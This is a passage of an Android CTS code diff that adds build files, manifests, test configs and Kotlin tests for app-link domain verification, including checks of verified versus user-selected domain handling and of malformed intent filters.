+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2
+import org.junit.Test
+import org.junit.runner.RunWith
+import org.junit.runners.Parameterized
+
+@RunWith(Parameterized::class)
+class DomainVerificationIntentHostTimedTests : DomainVerificationIntentTestBase(DOMAIN_1) {
+
+    @Test
+    fun multipleVerifiedTakeLastFirstInstall() {
+        setAppLinks(DECLARING_PKG_NAME_2, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT)
+
+        setAppLinks(DomainUtils.DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        // Re-approve 2 and ensure this doesn't affect anything
+        setAppLinks(DECLARING_PKG_NAME_2, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
new file mode 100644
index 0000000..b8e7319
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
@@ -0,0 +1,53 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_defaults {
+    name: "CtsDomainVerificationTestDeclaringAppDefaults",
+    static_libs: [
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "CtsDomainVerificationAndroidConstantsLibrary",
+        "CtsDomainVerificationJavaConstantsLibrary",
+        "CtsDomainVerificationVerificationsLibrary",
+        "junit",
+        "truth-prebuilt",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsDomainVerificationTestDeclaringApp1",
+    srcs: ["src/**/*.kt"],
+    defaults: [
+        "cts_defaults",
+        "CtsDomainVerificationTestDeclaringAppDefaults",
+    ],
+    sdk_version: "test_current",
+    aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp1"],
+}
+
+android_test_helper_app {
+    name: "CtsDomainVerificationTestDeclaringApp2",
+    srcs: ["src/**/*.kt"],
+    defaults: [
+        "cts_defaults",
+        "CtsDomainVerificationTestDeclaringAppDefaults",
+    ],
+    sdk_version: "test_current",
+    aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp2"],
+}
diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/apps/declaring/AndroidManifest.xml
new file mode 100644
index 0000000..fcdf59c
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/apps/declaring/AndroidManifest.xml
@@ -0,0 +1,109 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.packagemanager.verify.domain.declaringapp">
+
+    <application android:label="Declaring Test App">
+        <uses-library android:name="android.test.runner" />
+        <activity android:name=".DeclaringActivity" android:exported="true">
+
+            <!-- Normal success case, declaring valid domain with autoVerify -->
+            <intent-filter android:autoVerify="true">
+                <action android:name="android.intent.action.VIEW" />
+
+                <category android:name="android.intent.category.BROWSABLE" />
+                <category android:name="android.intent.category.DEFAULT" />
+
+                <data android:scheme="http" />
+                <data android:scheme="https" />
+                <data android:host="com.android.cts.packagemanager.verify.domain.1.pmctstesting" />
+                <data android:host="invalid1" />
+            </intent-filter>
+
+            <!-- Valid intent-filter, but missing autoVerify -->
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+
+                <category android:name="android.intent.category.BROWSABLE" />
+                <category android:name="android.intent.category.DEFAULT" />
+
+                <data android:scheme="http" />
+                <data android:host="com.android.cts.packagemanager.verify.domain.2.pmctstesting" />
+                <data android:host="invalid2." />
+            </intent-filter>
+
+            <!-- Missing http, still accepted -->
+            <intent-filter android:autoVerify="true">
+                <action android:name="android.intent.action.VIEW" />
+
+                <category android:name="android.intent.category.BROWSABLE" />
+                <category android:name="android.intent.category.DEFAULT" />
+
+                <data android:scheme="https" />
+                <data android:host="com.android.cts.packagemanager.verify.domain.3.pmctstesting" />
+                <data android:host=".invalid3" />
+            </intent-filter>
+
+            <!-- Missing DEFAULT, rejected -->
+            <intent-filter android:autoVerify="true">
+                <action android:name="android.intent.action.VIEW" />
+                <category android:name="android.intent.category.BROWSABLE" />
+
+                <data android:scheme="https" />
+                <data android:host="com.android.cts.packagemanager.verify.domain.4.pmctstesting" />
+                <data android:host="invalid4" />
+            </intent-filter>
+
+            <!-- Missing BROWSABLE, rejected -->
+            <intent-filter android:autoVerify="true">
+                <action android:name="android.intent.action.VIEW" />
+                <category android:name="android.intent.category.DEFAULT" />
+
+                <data android:scheme="https" />
+                <data android:host="com.android.cts.packagemanager.verify.domain.5.pmctstesting" />
+                <data android:host="invalid5" />
+            </intent-filter>
+
+            <!-- Missing VIEW, rejected -->
+            <intent-filter android:autoVerify="true">
+                <category android:name="android.intent.category.BROWSABLE" />
+                <category android:name="android.intent.category.DEFAULT" />
+
+                <data android:scheme="https" />
+                <data android:host="com.android.cts.packagemanager.verify.domain.6.pmctstesting" />
+                <data android:host="invalid6" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagemanager.verify.domain.declaringapp1" />
+
+    <queries>
+        <intent>
+            <action android:name="android.intent.action.VIEW" />
+            <data android:scheme="https" />
+        </intent>
+        <intent>
+            <action android:name="android.intent.action.VIEW" />
+            <data android:scheme="http" />
+        </intent>
+    </queries>
+
+</manifest>
+
diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/src/com/android/cts/packagemanager/verify/domain/declaringapp/DeclaringActivity.kt b/hostsidetests/packagemanager/domainverification/apps/declaring/src/com/android/cts/packagemanager/verify/domain/declaringapp/DeclaringActivity.kt
new file mode 100644
index 0000000..8d440ec
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/apps/declaring/src/com/android/cts/packagemanager/verify/domain/declaringapp/DeclaringActivity.kt
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.declaringapp
+
+import android.app.Activity
+
+class DeclaringActivity : Activity()
diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/src/com/android/cts/packagemanager/verify/domain/declaringapp/DomainVerificationDeclaringAppTests.kt b/hostsidetests/packagemanager/domainverification/apps/declaring/src/com/android/cts/packagemanager/verify/domain/declaringapp/DomainVerificationDeclaringAppTests.kt
new file mode 100644
index 0000000..a01ad93
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/apps/declaring/src/com/android/cts/packagemanager/verify/domain/declaringapp/DomainVerificationDeclaringAppTests.kt
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.declaringapp
+
+import android.app.Instrumentation
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.cts.packagemanager.verify.domain.SharedVerifications
+import org.junit.After
+import org.junit.Before
+import org.junit.Test
+
+class DomainVerificationDeclaringAppTests {
+
+    private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
+    private val context = instrumentation.targetContext
+
+    @Before
+    @After
+    fun reset() {
+        SharedVerifications.reset(context)
+    }
+
+    @Test
+    fun verifyOwnDomains() {
+        SharedVerifications.verifyDomains(context)
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/device/Android.bp b/hostsidetests/packagemanager/domainverification/device/Android.bp
new file mode 100644
index 0000000..081da66
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/device/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsDomainVerificationDeviceTestCases",
+    srcs: [ "src/**/*.kt" ],
+    test_suites: [
+        "cts",
+        "device-tests",
+    ],
+    defaults: ["cts_defaults"],
+    sdk_version: "test_current",
+    static_libs: [
+        "androidx.test.ext.junit",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "CtsDomainVerificationAndroidConstantsLibrary",
+        "CtsDomainVerificationJavaConstantsLibrary",
+        "junit",
+        "truth-prebuilt",
+    ],
+    data: [
+        ":CtsDomainVerificationTestDeclaringApp1",
+        ":CtsDomainVerificationTestDeclaringApp2",
+    ],
+}
diff --git a/hostsidetests/packagemanager/domainverification/device/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/device/AndroidManifest.xml
new file mode 100644
index 0000000..9afe67d
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/device/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.packagemanager.verify.domain.device">
+
+    <application android:label="Device Test App">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagemanager.verify.domain.device" />
+
+    <queries>
+        <package android:name="com.android.cts.packagemanager.verify.domain.declaringapp1"/>
+        <package android:name="com.android.cts.packagemanager.verify.domain.declaringapp2"/>
+        <intent>
+            <action android:name="android.intent.action.VIEW" />
+            <data android:scheme="https" />
+        </intent>
+        <intent>
+            <action android:name="android.intent.action.VIEW" />
+            <data android:scheme="http" />
+        </intent>
+    </queries>
+
+</manifest>
+
diff --git a/hostsidetests/packagemanager/domainverification/device/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/AndroidTest.xml
new file mode 100644
index 0000000..4cdf6b7
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/device/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS package manager metrics device test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsDomainVerificationDeviceTestCases.apk" />
+        <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp1.apk" />
+        <option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp2.apk" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.cts.packagemanager.verify.domain.device" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/packagemanager/domainverification/device/src/com/android/cts/packagemanager/verify/domain/device/CallingActivity.kt b/hostsidetests/packagemanager/domainverification/device/src/com/android/cts/packagemanager/verify/domain/device/CallingActivity.kt
new file mode 100644
index 0000000..1b1af08
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/device/src/com/android/cts/packagemanager/verify/domain/device/CallingActivity.kt
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.callingapp
+
+import android.app.Activity
+
+class CallingActivity : Activity()
diff --git a/hostsidetests/packagemanager/domainverification/device/src/com/android/cts/packagemanager/verify/domain/device/DomainVerificationIntentInvalidHostTests.kt b/hostsidetests/packagemanager/domainverification/device/src/com/android/cts/packagemanager/verify/domain/device/DomainVerificationIntentInvalidHostTests.kt
new file mode 100644
index 0000000..f57d599
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/device/src/com/android/cts/packagemanager/verify/domain/device/DomainVerificationIntentInvalidHostTests.kt
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.device
+
+import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
+import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
+import com.android.cts.packagemanager.verify.domain.android.DomainVerificationIntentTestBase
+import org.junit.Test
+import org.junit.runner.RunWith
+import org.junit.runners.Parameterized
+
+@RunWith(Parameterized::class)
+class DomainVerificationIntentInvalidHostTests :
+    DomainVerificationIntentTestBase("invalid1", assertResolvesToBrowsersInBefore = false) {
+
+    @Test
+    fun launchInvalidHttpUri() {
+        assertResolvesTo(browsers + DECLARING_PKG_1_COMPONENT + DECLARING_PKG_2_COMPONENT)
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/device/src/com/android/cts/packagemanager/verify/domain/device/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/src/com/android/cts/packagemanager/verify/domain/device/DomainVerificationIntentStandaloneTests.kt
new file mode 100644
index 0000000..dd456fa
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/device/src/com/android/cts/packagemanager/verify/domain/device/DomainVerificationIntentStandaloneTests.kt
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.device
+
+import android.content.pm.verify.domain.DomainVerificationUserState
+import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
+import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
+import com.android.cts.packagemanager.verify.domain.android.DomainVerificationIntentTestBase
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_2
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2
+import com.google.common.truth.Truth.assertThat
+import org.junit.Test
+import org.junit.runner.RunWith
+import org.junit.runners.Parameterized
+
+@RunWith(Parameterized::class)
+class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase(DOMAIN_1) {
+
+    @Test
+    fun launchVerified() {
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
+
+        val hostToStateMap = manager.getDomainVerificationUserState(DECLARING_PKG_NAME_1)
+            ?.hostToStateMap
+
+        assertThat(hostToStateMap?.get(DOMAIN_1))
+            .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_VERIFIED)
+
+        // The 2nd domain isn't marked as auto verify
+        assertThat(hostToStateMap?.get(DOMAIN_2))
+            .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_NONE)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(browsers)
+    }
+
+    @Test
+    fun launchSelected() {
+        setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
+        setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
+
+        val hostToStateMap = manager.getDomainVerificationUserState(DECLARING_PKG_NAME_1)
+            ?.hostToStateMap
+
+        assertThat(hostToStateMap?.get(DOMAIN_1))
+            .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+        assertThat(hostToStateMap?.get(DOMAIN_2))
+            .isEqualTo(DomainVerificationUserState.DOMAIN_STATE_SELECTED)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, false, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(browsers)
+    }
+
+    @Test
+    fun verifiedOverSelected() {
+        setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        setAppLinks(DECLARING_PKG_NAME_2, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT)
+
+        setAppLinks(DECLARING_PKG_NAME_2, false, DOMAIN_1, DOMAIN_2)
+
+        // Assert that if 2 is approved and denied,
+        // 1 will lose approval and must be re-enabled manually
+        assertResolvesTo(browsers)
+    }
+
+    @Test
+    fun selectedOverSelected() {
+        setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_2_COMPONENT)
+
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, false, DOMAIN_1, DOMAIN_2)
+
+        // Assert that if 2 is enabled and disabled,
+        // 1 will lose approval and must be re-enabled manually
+        assertResolvesTo(browsers)
+    }
+
+    @Test
+    fun selectedOverVerifiedFails() {
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        setAppLinksUserSelection(DECLARING_PKG_NAME_2, userId, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+    }
+
+    @Test
+    fun disableHandlingWhenVerified() {
+        setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+
+        assertResolvesTo(browsers)
+    }
+
+    @Test
+    fun disableHandlingWhenSelected() {
+        setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
+
+        assertResolvesTo(DECLARING_PKG_1_COMPONENT)
+
+        setAppLinksAllowed(DECLARING_PKG_NAME_1, userId, false)
+
+        assertResolvesTo(browsers)
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/host/Android.bp b/hostsidetests/packagemanager/domainverification/host/Android.bp
new file mode 100644
index 0000000..bfbf975
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/host/Android.bp
@@ -0,0 +1,44 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsDomainVerificationHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.kt"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    static_libs: [
+        "cts-host-utils",
+        "CtsDomainVerificationJavaConstantsLibraryHost",
+    ],
+    data: [
+        ":CtsDomainVerificationTestCallingApp",
+    ],
+    java_resources: [
+        ":CtsDomainVerificationTestDeclaringApp1",
+        ":CtsDomainVerificationTestDeclaringApp2",
+    ],
+}
diff --git a/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
new file mode 100644
index 0000000..6090314
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS package manager metrics host test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsDomainVerificationTestCallingApp.apk" />
+    </target_preparer>
+
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsDomainVerificationHostTestCases.jar" />
+    </test>
+</configuration>
+
diff --git a/hostsidetests/packagemanager/domainverification/host/src/com/android/cts/packagemanager/verify/domain/host/DomainVerificationHostUtils.kt b/hostsidetests/packagemanager/domainverification/host/src/com/android/cts/packagemanager/verify/domain/host/DomainVerificationHostUtils.kt
new file mode 100644
index 0000000..eb7ed1b
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/host/src/com/android/cts/packagemanager/verify/domain/host/DomainVerificationHostUtils.kt
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.host
+
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils
+import com.android.tradefed.device.ITestDevice
+import org.junit.rules.TemporaryFolder
+import java.io.File
+import java.io.FileOutputStream
+
+internal object DomainVerificationHostUtils {
+
+    fun ITestDevice.installApkResource(
+        tempFolder: TemporaryFolder,
+        apkName: DomainUtils.ApkName,
+        reinstall: Boolean = false
+    ) = installPackage(copyResourceToHostFile(apkName.value, tempFolder.newFile()), reinstall)
+
+    fun copyResourceToHostFile(javaResourceName: String, file: File): File {
+        javaClass.classLoader!!.getResource(javaResourceName)!!.openStream().use { input ->
+            FileOutputStream(file).use { output ->
+                input.copyTo(output)
+            }
+        }
+        return file
+    }
+}
diff --git a/hostsidetests/packagemanager/domainverification/host/src/com/android/cts/packagemanager/verify/domain/host/DomainVerificationIntentHostTimedTests.kt b/hostsidetests/packagemanager/domainverification/host/src/com/android/cts/packagemanager/verify/domain/host/DomainVerificationIntentHostTimedTests.kt
new file mode 100644
index 0000000..d8b22f0
--- /dev/null
+++ b/hostsidetests/packagemanager/domainverification/host/src/com/android/cts/packagemanager/verify/domain/host/DomainVerificationIntentHostTimedTests.kt
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagemanager.verify.domain.host
+
+import com.android.cts.packagemanager.verify.domain.host.DomainVerificationHostUtils.installApkResource
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.CALLING_PKG_NAME
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_APK_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_APK_2
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_1
+import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DECLARING_PKG_NAME_2
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions
+import org.junit.After
+import org.junit.Before
+import org.junit.Rule
+import org.junit.Test
+import org.junit.rules.TemporaryFolder
+import org.junit.runner.RunWith
+
+@RunWith(DeviceJUnit4ClassRunner::class)
+class DomainVerificationIntentHostTimedTests : BaseHostJUnit4Test() {
+
+    @Rule
+    @JvmField
+    val tempFolder = TemporaryFolder()
+
